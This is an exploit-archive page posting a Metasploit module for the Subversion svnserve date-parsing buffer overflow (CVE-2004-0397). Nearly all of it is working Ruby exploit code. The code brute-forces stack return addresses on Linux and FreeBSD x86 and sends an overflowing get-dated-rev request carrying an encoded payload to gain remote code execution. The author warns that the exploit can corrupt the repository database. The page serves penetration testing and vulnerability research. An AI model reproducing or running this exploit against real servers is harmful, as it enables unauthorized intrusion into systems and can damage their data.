what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Subversion Date Overflow

Subversion Date Overflow
Posted Oct 28, 2009
Authored by spoonm

This is a Metasploit exploit for the Subversion date parsing overflow. This exploit is for the svnserve daemon (svn:// protocol) and will not work for Subversion over webdav (http[s]://). This exploit should never crash the daemon, and should be safe to do multi-hits.

tags | exploit, web, overflow, protocol
advisories | CVE-2004-0397
SHA-256 | c81084cf41376c203360dc2c4fd7badff87c3c33602d948682a6905bafe517a2

Subversion Date Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##


require 'msf/core'
require 'msf/core/exploit/http'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Brute
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Subversion Date Svnserve',
'Description' => %q{
This is an exploit for the Subversion date parsing overflow. This
exploit is for the svnserve daemon (svn:// protocol) and will not work
for Subversion over webdav (http[s]://). This exploit should never
crash the daemon, and should be safe to do multi-hits.

**WARNING** This exploit seems to (not very often, I've only seen
it during testing) corrupt the subversion database, so be careful!
},
'Author' => 'spoonm',
'Version' => '$Revision$',
'References' =>
[
['CVE', '2004-0397'],
['OSVDB', '6301'],
['BID', '10386'],
['URL', 'https://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html'],
['MIL', '68'],
],
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
'MinNops' => 16,
},
'SaveRegisters' => [ 'esp' ],
'Arch' => 'x86',
'Platform' => [ 'linux', 'bsd' ],
'Targets' =>
[
[
'Linux Bruteforce',
{
'Platform' => 'linux',
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xbffffe13 },
'Stop' => { 'Ret' => 0xbfff0000 },
'Step' => 0
}
},
],
[
'FreeBSD Bruteforce',
{
'Platform' => 'bsd',
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xbfbffe13 },
'Stop' => { 'Ret' => 0xbfbf0000 },
'Step' => 0
}
},
],

],
'DisclosureDate' => 'May 19 2004'))

register_options(
[
Opt::RPORT(3690),
OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ])
], self.class)

register_advanced_options(
[
# 62 on spoonm's, 88 on HD's
OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]),
OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ])
], self.class)
end

def check
end

def brute_exploit(addresses)
connect

print_status("Trying #{"%.8x" % addresses['Ret']}...")

buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded

[
"( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ",
"( ANONYMOUS ( 0; ) )",
"( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) "
].each_with_index { |buf, index|
trash = sock.get_once

print_line("Received: #{trash}") if debugging?

if (sock.put(buf) || 0) == 0 and index < 3
print_error("Error transmitting buffer.")
raise ExploitError, "Failed to transmit data" if !datastore['IgnoreErrors']
end

if index == 3 and trash.length > 0
print_error("Received data when we shouldn't have")
raise ExploitError, "Received data when it wasn't expected" if !datastore['IgnoreErrors']
end
}

handler
disconnect
end

def lengther(buf)
"#{buf.length}:" + buf
end

end

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close